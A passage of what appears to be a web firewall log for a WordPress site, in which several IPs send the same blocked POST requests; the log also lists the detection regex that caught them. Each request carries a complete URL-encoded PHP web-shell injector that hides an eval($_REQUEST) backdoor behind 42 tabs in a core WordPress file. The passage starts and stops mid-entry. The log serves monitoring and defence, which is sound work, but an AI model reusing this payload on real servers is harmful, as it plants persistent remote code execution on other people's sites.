en%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:16","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> su:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:2063\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nsu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:20","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2063\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nyG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:22","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:2063\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\naccept:*\/*\n\nYF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:24","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:2063\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\naccept:*\/*\n\nlp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:27","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2063\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nTC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:29","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%